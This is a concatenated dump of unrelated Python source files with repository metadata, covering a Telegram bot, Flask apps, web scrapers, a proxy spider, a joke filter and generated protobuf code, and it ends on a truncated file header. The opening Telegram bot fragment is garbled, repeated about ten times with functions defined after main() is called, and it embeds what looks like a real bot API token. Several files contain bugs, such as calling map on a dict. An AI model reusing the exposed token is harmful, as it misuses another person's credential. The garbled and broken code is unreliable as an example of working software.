Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main()
26e2f5d97ebfc552abeecbc5942fcba6d39ee7f2
a2c075a0f8fc92141da768254c0c3f09553da93e
/main.py
94b1002c20e5b5f92f6c304e399cb7efd51b445d
[]
no_license
memowii/DictionaryDataDownloader
a06f041b8d7c243ea70b3d64512d5ad52a86915f
6f8bca4d9b57fdf7c309c126e6cd192c2beac2b2
refs/heads/master
2020-04-03T13:56:44.549055
2018-12-10T23:17:16
2018-12-10T23:17:16
155,305,538
0
0
null
null
null
null
UTF-8
Python
false
false
910
py
from Cambridge import Cambridge from DB import DB from time import sleep cambridge_dictionary = Cambridge() db = DB() duolingo_words = db.getAllDuolingoWords() for duolingo_word in duolingo_words: if len(duolingo_word['word'].split(' ')) == 1 \ and duolingo_word['word'].find("'") == -1 \ and duolingo_word['id'] >= 212: print('Downloading word {}'.format(duolingo_word['word'])) cambridge_dictionary.getWordData(duolingo_word['word']) word_pronunciation = cambridge_dictionary.getPronunciation() db.updatePronAndSoundFile(duolingo_word['id'], word_pronunciation) cambridge_dictionary.getSoundFile('./resources/cambridge_dictionary/') sleep(1) # TODO: aplicar threads in duolingo_words.py para hacerlo mas rapido # TODO: utilizar algo para alchemy para la base de datos # TODO: utilizar nltk para hacer las busquedas más simples
2910215df5662e14433723317bf39426b8654cb6
f2813ce991e199c9d92aff60e219bc187dfb0748
/core/proxy_spider/run_spiders.py
87ea44169da082e01f212c4cbe6c10b8ed1e073e
[]
no_license
xiaoweihong/proxy_pool
3fa02018f983b3cd2e3f19b7950a95be79bba1b9
7838911cc6cb981001de63c8c892af7831ddb791
refs/heads/master
2020-09-06T13:06:00.214918
2019-11-12T11:34:24
2019-11-12T11:34:24
220,431,746
0
0
null
null
null
null
UTF-8
Python
false
false
2,082
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2019/11/11 下午7:01 # @Author : xiaowei # @Site : # @File : run_spiders.py # @Software: PyCharm import importlib import schedule from gevent import monkey monkey.patch_all() from gevent.pool import Pool from settings import PROXY_SPIDERS from core.proxy_validator.httpbin_validator import check_proxy from utils.log import logger from core.db.mongo_pool import MongoPool from settings import RUN_SPIDERS_INTERVAL class RunSpider(object): def __init__(self): self.mongo_pool = MongoPool() self.corutine_pool = Pool() def get_spider_from_settings(self): # 遍历配置文件,获取信息 for spider in PROXY_SPIDERS: # 获取模块名 类名 module_name, class_name = spider.rsplit('.', maxsplit=1) # 根据模块名导入类名 module = importlib.import_module(module_name) # 根据类名,从模块中获取类 cls = getattr(module, class_name) # 创建对象 spider = cls() yield spider def run(self): spiders = self.get_spider_from_settings() for spider in spiders: # 通过协程池异步执行 self.corutine_pool.apply_async(self.__execute_one_spider, args=(spider,)) self.corutine_pool.join() # 处理一个爬虫的 def __execute_one_spider(self, spider): try: for proxy in spider.get_proxies(): proxy = check_proxy(proxy) if proxy.speed != -1: self.mongo_pool.insert_one(proxy) except Exception as e: logger.error(e) @classmethod def start(self): rs = RunSpider() rs.run() schedule.every(RUN_SPIDERS_INTERVAL).hours.do(rs.run()) while True: schedule.run_pending() if __name__ == '__main__': RunSpider.start() # def test(): # print("hello") # schedule.every(5).seconds.do(test) # while True: # schedule.run_pending()
4136881c36e0e955515ea054f6ca6d8f13d1eb28
67299f6f37e9ab686777885381b445d6cf1bb663
/venv/Scripts/easy_install-script.py
1f0691a0627364e03bb82da85a07355f811685c7
[]
no_license
zySuperfic/Sudden
b96770bd7c0acb67e19df0c5adcf2358399d6ab0
5e9cf318be1ed39c13dbaf4bcbcbf390fce4fae1
refs/heads/main
2023-01-03T00:15:53.281798
2020-10-22T08:22:33
2020-10-22T08:22:33
265,185,939
0
0
null
null
null
null
UTF-8
Python
false
false
454
py
#!C:\Users\Administrator\PycharmProjects\xin\venv\Scripts\python.exe # EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==39.1.0','console_scripts','easy_install' __requires__ = 'setuptools==39.1.0' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit( load_entry_point('setuptools==39.1.0', 'console_scripts', 'easy_install')() )
de02b831669abf07289958273cf2d69365006782
784ae6cf53e93c605388006a4a5afd1e4c0f5535
/data_management/sanitize_jokes.py
586bfc32b4ec984c50c611c77ed2c49b309b1486
[]
no_license
mjshalash/gpt-2-joker-bot
34b3b6c2a05b0deab9fbc86dd9b2cefcacb24162
d305d90927096c05f1c44d7a0b819df1e3fa726d
refs/heads/master
2022-04-19T13:06:56.590377
2020-04-04T18:37:49
2020-04-04T18:37:49
234,339,311
0
0
null
null
null
null
UTF-8
Python
false
false
1,452
py
import pandas # Establish list of innappropriate terms bad_terms = ['marijuana', 'semen', 'strippers', 'circumcision', 'srascist', 'piss', 'pissed', 'slave', 'slaves', 'porn', 'condom', 'sex', 'shit', 'shits', 'retarded', 'vagina', 'cunt', 'penis', 'ass', 'gays', 'gay', 'black', 'sex'] # Read csv into DataFrame result = pandas.read_csv('data/short_jokes/shortjokes.csv') print(result.shape) # Parse through jokes in DataFrame # Only copy ones with NO innappropriate terms for row in result.itertuples(): # Flag to represent if joke is bad or not bad_flag = 0 # Extract joke using iterator joke = row[2] index = row[0] # Check each word for curse word for word in joke.split(" "): # print(word) # If bad word detected, exit loop and do not add joke to new document # TODO: .lower() could be used somehow to reduce variations of words needed in list if word in bad_terms: bad_flag = 1 break # Mark bad jokes with additional column # TODO: Could potentially train an AI to determine what a bad joke is if bad_flag == 1: result.at[index, 'Bad'] = 'Y' else: result.at[index, 'Bad'] = 'N' # Drop any rows which do not meet no-bad condition result.drop(result[result['Bad'] != 'N'].index, inplace=True) print(result.shape) # Save remaining jokes to new file result.to_csv('data/short_jokes_clean/shortjokesclean.csv')
3bb909fd60f26739d652a86cd0406538f9f0a0b5
961e32399c5536c1fbcebffe009c1351795600d8
/google/ads/google_ads/v0/proto/enums/tracking_code_page_format_pb2.py
f434ce631f4d5a4a15225451d7367b110b97db66
[ "Apache-2.0", "LicenseRef-scancode-generic-cla" ]
permissive
NikolaKikovski/google-ads-python
d02e518a2dffbbf061b9a6edca32024ae68afbf1
14173d941c1001e64f8b90b87e392cb1c2f74261
refs/heads/master
2020-04-08T14:56:12.009954
2018-11-01T21:23:13
2018-11-01T21:23:13
null
0
0
null
null
null
null
UTF-8
Python
false
true
3,767
py
# Generated by the protocol buffer compiler. DO NOT EDIT! # source: google/ads/googleads_v0/proto/enums/tracking_code_page_format.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database from google.protobuf import descriptor_pb2 # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() DESCRIPTOR = _descriptor.FileDescriptor( name='google/ads/googleads_v0/proto/enums/tracking_code_page_format.proto', package='google.ads.googleads.v0.enums', syntax='proto3', serialized_pb=_b('\nCgoogle/ads/googleads_v0/proto/enums/tracking_code_page_format.proto\x12\x1dgoogle.ads.googleads.v0.enums\"^\n\x1aTrackingCodePageFormatEnum\"@\n\x16TrackingCodePageFormat\x12\x0f\n\x0bUNSPECIFIED\x10\x00\x12\x0b\n\x07UNKNOWN\x10\x01\x12\x08\n\x04HTML\x10\x02\x42\xcc\x01\n!com.google.ads.googleads.v0.enumsB\x1bTrackingCodePageFormatProtoP\x01ZBgoogle.golang.org/genproto/googleapis/ads/googleads/v0/enums;enums\xa2\x02\x03GAA\xaa\x02\x1dGoogle.Ads.GoogleAds.V0.Enums\xca\x02\x1dGoogle\\Ads\\GoogleAds\\V0\\Enumsb\x06proto3') ) _TRACKINGCODEPAGEFORMATENUM_TRACKINGCODEPAGEFORMAT = _descriptor.EnumDescriptor( name='TrackingCodePageFormat', full_name='google.ads.googleads.v0.enums.TrackingCodePageFormatEnum.TrackingCodePageFormat', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='UNSPECIFIED', index=0, number=0, options=None, type=None), _descriptor.EnumValueDescriptor( name='UNKNOWN', index=1, number=1, options=None, type=None), _descriptor.EnumValueDescriptor( name='HTML', index=2, number=2, options=None, type=None), ], containing_type=None, options=None, serialized_start=132, serialized_end=196, ) _sym_db.RegisterEnumDescriptor(_TRACKINGCODEPAGEFORMATENUM_TRACKINGCODEPAGEFORMAT) _TRACKINGCODEPAGEFORMATENUM = _descriptor.Descriptor( name='TrackingCodePageFormatEnum', full_name='google.ads.googleads.v0.enums.TrackingCodePageFormatEnum', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ ], extensions=[ ], nested_types=[], enum_types=[ _TRACKINGCODEPAGEFORMATENUM_TRACKINGCODEPAGEFORMAT, ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=102, serialized_end=196, ) _TRACKINGCODEPAGEFORMATENUM_TRACKINGCODEPAGEFORMAT.containing_type = _TRACKINGCODEPAGEFORMATENUM DESCRIPTOR.message_types_by_name['TrackingCodePageFormatEnum'] = _TRACKINGCODEPAGEFORMATENUM _sym_db.RegisterFileDescriptor(DESCRIPTOR) TrackingCodePageFormatEnum = _reflection.GeneratedProtocolMessageType('TrackingCodePageFormatEnum', (_message.Message,), dict( DESCRIPTOR = _TRACKINGCODEPAGEFORMATENUM, __module__ = 'google.ads.googleads_v0.proto.enums.tracking_code_page_format_pb2' , __doc__ = """Container for enum describing the format of the web page where the tracking tag and snippet will be installed. """, # @@protoc_insertion_point(class_scope:google.ads.googleads.v0.enums.TrackingCodePageFormatEnum) )) _sym_db.RegisterMessage(TrackingCodePageFormatEnum) DESCRIPTOR.has_options = True DESCRIPTOR._options = _descriptor._ParseOptions(descriptor_pb2.FileOptions(), _b('\n!com.google.ads.googleads.v0.enumsB\033TrackingCodePageFormatProtoP\001ZBgoogle.golang.org/genproto/googleapis/ads/googleads/v0/enums;enums\242\002\003GAA\252\002\035Google.Ads.GoogleAds.V0.Enums\312\002\035Google\\Ads\\GoogleAds\\V0\\Enums')) # @@protoc_insertion_point(module_scope)
1926b2f5a25cbfaf0e8c92b3de7ad82dbc0e48e0
d1b49c4e033bda55a33451246c563f32d51ae7cf
/app/run.py
0dd98adbf28b0e964858fc53175d8d9fac624306
[]
no_license
cydal/DisasterPipeline
2c9c38248011673493ce9190a0bf581e01769e14
68d4f217d50099bb55a19ddcf82300f9a704c560
refs/heads/master
2020-03-29T11:46:18.679328
2018-09-23T19:32:46
2018-09-23T19:32:46
149,869,551
0
0
null
null
null
null
UTF-8
Python
false
false
4,418
py
import json import plotly import pandas as pd from nltk.stem import WordNetLemmatizer from nltk.tokenize import word_tokenize from flask import Flask from flask import render_template, request, jsonify from plotly.graph_objs import Bar, Histogram from sklearn.externals import joblib from sqlalchemy import create_engine import re import nltk nltk.download('punkt') from nltk.tokenize import word_tokenize, sent_tokenize nltk.download('stopwords') from nltk.corpus import stopwords from nltk.stem.porter import PorterStemmer app = Flask(__name__) def tokenize(text): """Function returns after performing preprocessing steps on text including tolower, tokenization, stopwords removal and stemming Parameters: text (string): Refers to individual words passed in Returns: stemmed(string): Returns text with operations performed. """ text = text.lower() text = re.sub(r"[^a-zA-Z0-9]", " ", text) words = word_tokenize(text) words = [w for w in words if w not in stopwords.words("english")] stemmed = [WordNetLemmatizer().lemmatize(w) for w in words] return(stemmed) # load data engine = create_engine('sqlite:///data/DisasterResponse.db') df = pd.read_sql_table('message', engine) # load model model = joblib.load("models/classifier.pkl") # index webpage displays cool visuals and receives user input text for model @app.route('/') @app.route('/index') def index(): # extract data needed for visuals # TODO: Below is an example - modify to extract data for your own visuals genre_counts = df.groupby('genre').count()['message'] genre_names = list(genre_counts.index) ### Visualization setup for percentage of overall messages ### for categories total_messages = df.shape[0] category_names = df.columns.values[4:] percentage_values = [(sum(df[cat]) * 100/total_messages) for cat in category_names] ### Visualization setup for typical length of messages df["msglength"] = df.message.str.len() grouped = df.groupby('genre').mean()["msglength"] # create visuals # TODO: Below is an example - modify to create your own visuals graphs = [ { 'data': [ Bar( x=genre_names, y=genre_counts ) ], 'layout': { 'title': 'Distribution of Message Genres', 'yaxis': { 'title': "Count" }, 'xaxis': { 'title': "Genre" } } }, { 'data': [ Bar( x=category_names, y=percentage_values ) ], 'layout': { 'title': 'Percentage of Messages per Category', 'yaxis': { 'title': "Percentage" }, 'xaxis': { 'title': "Category" } } }, { 'data': [ Bar( x=grouped.index, y=grouped.values ) ], 'layout': { 'title': 'Average of Message Length Per Genre', 'yaxis': { 'title': "Average" }, 'xaxis': { 'title': "Genre" } } } ] # encode plotly graphs in JSON ids = ["graph-{}".format(i) for i, _ in enumerate(graphs)] graphJSON = json.dumps(graphs, cls=plotly.utils.PlotlyJSONEncoder) # render web page with plotly graphs return render_template('master.html', ids=ids, graphJSON=graphJSON) # web page that handles user query and displays model results @app.route('/go') def go(): # save user input in query query = request.args.get('query', '') # use model to predict classification for query classification_labels = model.predict([query])[0] classification_results = dict(zip(df.columns[4:], classification_labels)) # This will render the go.html Please see that file. return render_template( 'go.html', query=query, classification_result=classification_results ) def main(): app.run(host='0.0.0.0', port=3001, debug=True) if __name__ == '__main__': main()
8efa8ba91cfddcf424f1dbae6e2d6858a3b75ac3
2a6d139359f19a39d67a698ba8f69c4fcea4b1a5
/hello-world/app.py
bf2b793174d3a58382c70ac45f0e7f56cd2c2218
[]
no_license
msantosfelipe/flask
97a0e5158c48ae6f333d9a0883f013c87b60fac1
c2b52d0ba84a8956eacef82198f189d1ca4449d8
refs/heads/master
2022-04-25T19:31:15.029864
2020-04-22T23:00:50
2020-04-22T23:00:50
257,684,517
0
0
null
null
null
null
UTF-8
Python
false
false
1,597
py
from flask import Flask, jsonify, request, render_template app = Flask(__name__) stores = [ { 'name' : 'Store', 'items': [ { 'name' : 'My Item', 'price' : 15.99 } ] } ] @app.route('/') def home(): return render_template('index.html') @app.route('/store', methods=['POST']) def create_store(): request_data = request.get_json() new_store = { 'name' : request_data['name'], 'items' : [ request_data['items'] ] } stores.append(new_store) return jsonify(new_store) @app.route('/store/<string:name>') def get_store(name): for store in stores: if store['name'] == name: return jsonify(store) return jsonify({'message': 'store not found'}) @app.route('/store') def get_stores(): return jsonify({'stores': stores}) @app.route('/store/<string:name>/item', methods=['POST']) def create_item_in_store(name): for store in stores: if store['name'] == name: request_data = request.get_json() new_item = { 'name': request_data['name'], 'price': request_data['price'] } store['items'].append(new_item) return jsonify(new_item) return jsonify({'message': 'store not found'}) @app.route('/store/<string:name>/item') def get_items_in_store(name): for store in stores: if store['name'] == name: return jsonify(store['items']) return jsonify({'message': 'store not found'}) app.run(port=5000)
977c9256bd4b00b9ea33d2622563f93f884cb6e3
f214b4bb23578c00b2b0cb7412b61e62ab88ee69
/KattisPractice/Spring2021/carefulascent.py
fe161922b56f49ebd97902d1f6def71a76d1ce2f
[]
no_license
jerrylee17/Algorithms
7e38fa082c0c5cf063f4b905ca42055b89bf7f32
63710270913c83889b880d012875a2cb7aa4e847
refs/heads/master
2021-06-23T20:18:22.882922
2021-04-23T03:25:43
2021-04-23T03:25:43
218,829,765
1
0
null
2020-12-27T14:29:33
2019-10-31T18:08:17
Python
UTF-8
Python
false
false
146
py
x, y = list(map(int, input().split())) n = int(input()) shields = [] for i in range(n): shields.append(list(map(float, input().split())))
4d43fb068043a31b764cf9f2d348c41addd0726c
edbb5183569d4a4ffdea0a9844e3b687e4d74d67
/lesson4/xpath.py
d24da126782cbfd6dac3db2ef17d87d1197c4e94
[]
no_license
denisded/scraping_projects
00e7cff19daf20531e137ee17873fed9830c6703
adbbaeb17026db785628940c01dad4f8d1c7939e
refs/heads/master
2023-06-17T13:03:42.222983
2021-07-14T06:52:47
2021-07-14T06:52:47
379,668,543
0
0
null
2021-07-14T06:52:48
2021-06-23T16:39:05
Python
UTF-8
Python
false
false
3,469
py
from lxml.html import fromstring import requests from string import whitespace from pymongo import MongoClient CUSTOM_WHITESPACE = (whitespace + "\xa0").replace(" ", "") def clear_string(s, whitespaces=CUSTOM_WHITESPACE): for space in whitespaces: s = s.replace(space, " ") return s def get_dom(url): hed = { 'user_agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/91.0.4472.124 Safari/537.36' } return fromstring(requests.get(url, headers=hed).text) def get_news_mail_ru(): dom_mail_ru = get_dom("https://news.mail.ru/") items = dom_mail_ru.xpath('//div[contains(@class, "daynews__item")]') list_news = [] for i in items: info = { 'name': list(map(clear_string, i.xpath('.//span[contains(@class, "_title")]/text()'))), 'link': i.xpath('.//a/@href') } dom_news = get_dom(i.xpath('.//a/@href')[0]) items_news = dom_news.xpath('//span[contains(@class, "breadcrumbs__item")]') for j in items_news: try: info['date'] = j.xpath('.//span/@datetime')[0] except Exception as exp: print(f"Исключение {exp}") info['source'] = j.xpath('.//span[contains(@class, "link__text")]/text()') list_news.append(info) return list_news def get_news_lenta_ru(): dom_lenta_ru = get_dom('https://lenta.ru/') items = dom_lenta_ru.xpath( '//div[contains(@class, "b-yellow-box__wrap")]/div[not(contains(@class, "b-yellow-box__header"))]' ) list_news = [] for i in items: info = { 'name': list(map(clear_string, i.xpath('.//a/text()'))), } link = 'https://lenta.ru' + str(i.xpath('.//a/@href')[0]) source = 'lenta.ru' if i.xpath('.//a/@href')[0][:5] == "https": link = i.xpath('.//a/@href')[0] source = i.xpath('.//a/@href')[0][8:i.xpath('.//a/@href')[0].find(".ru")] info['link'] = link info['source'] = source info['date'] = get_dom(link).xpath('//div[contains(@class, "b-topic__info")]/time/@datetime') list_news.append(info) return list_news def get_news_yandex_ru(): dom_lenta_ru = get_dom('https://yandex.ru/') items = dom_lenta_ru.xpath('//ol/li/a') list_news = [] for i in items: info = { 'name': list(map(clear_string, i.xpath('./@aria-label'))), 'link': i.xpath('./@href'), 'source': get_dom( i.xpath('./@href')[0] ).xpath('//span[contains(@class, "news-story__subtitle-text")]//text()'), 'date': get_dom(get_dom( i.xpath('./@href')[0] ).xpath('//div[contains(@class, "news-story__head")]/a//@href')[0] ).xpath('//time[contains(@itemprop, "datePublished")]/@datetime') } list_news.append(info) return list_news MONGO_HOST = "localhost" MONGO_PORT = 27017 MONGO_DB = "news" MONGO_COLLECTION = "news" if __name__ == "__main__": news_mail_ru = get_news_mail_ru() news_lenta_ru = get_news_lenta_ru() news_yandex_ru = get_news_yandex_ru() with MongoClient(MONGO_HOST, MONGO_PORT) as client: db = client[MONGO_DB] news = db[MONGO_COLLECTION] news.insert_many(news_mail_ru) news.insert_many(news_lenta_ru) news.insert_many(news_yandex_ru)
6f1a4daaa650c47207db301180bcb12f0117b2ff
07805264a7be79cf407acecc2b637e109f3fcb4f
/plan/plantodocx.py
1d7ecf5f1543a84cd79bcf04a79a41297584f987
[]
no_license
Dexter5292/planit
31a250e81630a1eaba38d686bbf54023163ce16b
ee9b6641657cc612a93058ece27bebc6f3027b37
refs/heads/master
2021-05-15T20:33:15.356631
2017-11-23T09:49:33
2017-11-23T09:49:33
107,775,758
0
0
null
null
null
null
UTF-8
Python
false
false
2,026
py
from docx import Document class plan: "Constructor class for the lesson plan." def __init__(self): self.user = '' self.subject = '' self.date = '' self.grade = '' self.time = '' self.units = [] self.topics = [] self.content = [] self.activities = [] self.support = [] self.recources = [] self.space = [] self.homework = [] self.homeworkDate = [] self.assessment = [] def set_user(self, user): self.user =user def set_subject(self, subject): self.subject = subject def set_date(self, date): self.date = date def set_grade(self, grade): self.grade = grade def set_time(self, time): self.time = time def set_units(self, units): self.units = units def set_topics(self, topics): """ List parameter with topics from the relevant units {based on user selection} """ self.topics = topics def set_content(self, content): """ List parameter with content from the relevant topics {based on user selection} """ self.content = content """ def generate(self): lessonplan = Document() sections = lessonplan.sections for section in sections: section.top_margin = 114300 section.bottom_margin = 114300 section.left_margin = 460000 section.right_margin = 460000 lessonplan.add_heading("Lesson Plan: %s" % date, level=0) table = lessonplan.add_table(rows=4, cols=2) lbl_subject = table.cell(0, 0) lbl_subject.text = "Subject" lbl_date = table.cell(1, 0) lbl_date.text = "Date" lbl_grade = table.cell(2, 0) lbl_grade.text = "Grade/Level" lbl_time = table.cell(3, 0) lbl_time.text = "Suggested Lesson Time" sub_cell = table.cell(0, 1) sub_cell.text = "%s" % subject date_cell = table.cell(1, 1) date_cell.text = date grade_cell = table.cell(2, 1) grade_cell.text = "{}".format(grade) period_time = school_info.objects.get(username=user) period_time = period_time.sch_period_length time_cell = table.cell(3, 1) time_cell.text = "{} minutes".format(period_time) lessonplan.save("./%s.docx" % user) """
739c23c0692c8bb39c4774b7b4ec9b065f72cf4f
4ac73d09529b0b4229b180da37d8e8d2859c9264
/Note_Test/forms.py
5f5997f26d4ec9e1320e7e2b812fcdff8217e0f7
[]
no_license
MagedElayh/web_django_pro1
4b6de38673cb00455abdb7cf756e7de93661721f
4eca49a0faf36b2f5acdcd4949fd339bb59c668b
refs/heads/master
2023-03-27T14:42:54.298525
2021-04-02T17:08:39
2021-04-02T17:08:39
337,807,263
0
0
null
null
null
null
UTF-8
Python
false
false
463
py
from django import forms from .models import COURSE,COURSE_SUBJECT,TEACHER,SUBJECT class TeacherForm(forms.ModelForm): class Meta: model = TEACHER fields = '__all__' class SubjectForm(forms.ModelForm): class Meta: model = SUBJECT fields = ['Subject_Code','Subject_Name',] # from .models import Member # class MemberForm(forms.ModelForm): # class Meta: # model = Member # fields = '__all__'
[ "majed" ]
majed
2a60f021ea9140efdbc88c168a1610ab216524f9
cf4e5165a8408344a4c62e63a0fd2d0fe6308b37
/00-2017/基础班/学生管理系统.py
310050f07f7ae7ca9709baea7d84ccfce3d87545
[]
no_license
kennycaiguo/Heima-Python-2018
5f8c340e996d19f2b5c44d80ee7c144bf164b30e
a8acd798f520ec3d079cc564594ebaccb9c232a0
refs/heads/master
2021-01-08T10:54:18.937511
2019-09-01T14:37:49
2019-09-01T14:37:49
null
0
0
null
